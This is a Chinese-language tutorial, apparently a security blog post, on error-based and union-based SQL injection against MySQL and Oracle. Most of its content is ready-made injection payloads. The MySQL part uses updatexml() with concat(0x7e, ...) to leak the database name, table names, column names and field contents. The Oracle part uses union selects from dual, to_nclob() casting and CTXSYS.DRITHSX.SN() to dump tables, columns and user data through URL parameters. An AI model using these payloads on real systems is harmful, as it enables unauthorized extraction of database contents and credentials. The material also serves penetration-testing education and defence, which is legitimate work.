0x00 前言

报错注入是指将数据库的信息通过报错显示出来,适用于没有回显等情况。

不同的数据库,报错注入方法不同。

0x01 MYSQL数据库

在MYSQL 5.1.5版本中,引入了两个函数 updatexml()extractvalue()用来对XML文档进行查询或修改。

updatexml(): 改变文档中,指定节点的值

updatexlm(目标xml内容,xml文档路径,更新的内容)

extractvalue():从XML字符串中提取内容

extractvalue(目标XML文档,xml文档路径)

这两个函数的用法和作用基本一致,并且当这两个函数执行出错时,都会返回报错,因此我们可以利用这一特性,获取数据库信息。

比如在xml文档路径中如果存在特殊符号 ~ ,就会返回报错

我们可以利用concat()函数,将SQL语句和特殊符号拼接进XML路径中,达到报错返回SQL执行结果的目的。

concat():拼接字符串

如:

updatexml(1,concat(0x7e,(select database())),1)

数据库会执行updatexml()函数,函数中首尾的1作为目标xml文件和更新内容的填充。

重点是中间的concat(0x7e,(select database())):

0x7e是特殊符号 ~ 的十六进制表示,因此concat()函数将 ~ 和select database()的执行结果,也就是数据库名拼接到一起,放到xml文档路径中,而当路径中有特殊符号,就会产生报错,将数据库名用报错的方式显示出来。

报错注入1.png

获取表名

updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = '库名')),1)

获取字段名

updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = '库名' and table_name = '表名')),1)

获取字段内容

updatexml(1,concat(0x7e,(select group_concat(字段名) from 库名.表名)),1)

0x02 Oracle数据库

Oracle不同于其他数据库,它更加强调用户这一概念,属于同一用户≈属于同一库,并且可以在不知道表名的情况下直接查询字段名

在Oracle数据库中,数据类型十分重要,不会和MYSQL一样自动匹配数据类型,必须要手动指定,并且十分强调语法类型。位于法格式而设立的一个特殊的表 dual 。

如:

?id=1' union all select null,null from dual--+q

null代表输出任意类型的数据

也可以通过独有的dual表来判断是否是Oracle数据库:

and 1=(select count(*) from dual)

与MYSQL相同,可以通过 order by 判断字段数

查询所有表:

select * from all_tables

查询当前用户的表:

select * from user_tables

查询当前用户表下的字段:

select * from user_tab_columns

在Oracle数据库中没有limit语句,但是可以使用其他语句达到相同的效果:

select * from user_tab_columns and rownum = 1 //相当于limit 0,1

select * from user_tab_columns and rownum < 3 //显示前两条

select * from user_tab_columns where rownum = 1 and column_name <> 'ID' //显示ID字段的下一个字段

在联合查询时,由于数据类型的原因有时候并不能将所需信息回显,因此需要使用类型转换函数to_nclob(),如:

?id=1' union all select null,null,to_nclob(table_name) from user_tables--+Q


?id=1' union all select null,null,to_nclob(column_name) from user_tab_columns--+Q

若有时候没有回显点,可以尝试报错注入:

在Oracle中, 可以使用 CTXSYS.DRITHSX.SN() 函数进行报错输出。

如:

?id=1' and 1=CTXSYS.DRITHSX.SN(1,(select table_name from user_tables where rownum = 1)) //报错获得表名

?id=1' and 1=CTXSYS.DRITHSX.SN(1,(select column_name from user_tab_columns where table_name = 'users' and rownum = 1)) //报错获得users表中的第一个字段名

?id=1' and 1=CTXSYS.DRITHSX.SN(1,(select id from users))  //报错获得users表中id字段的内容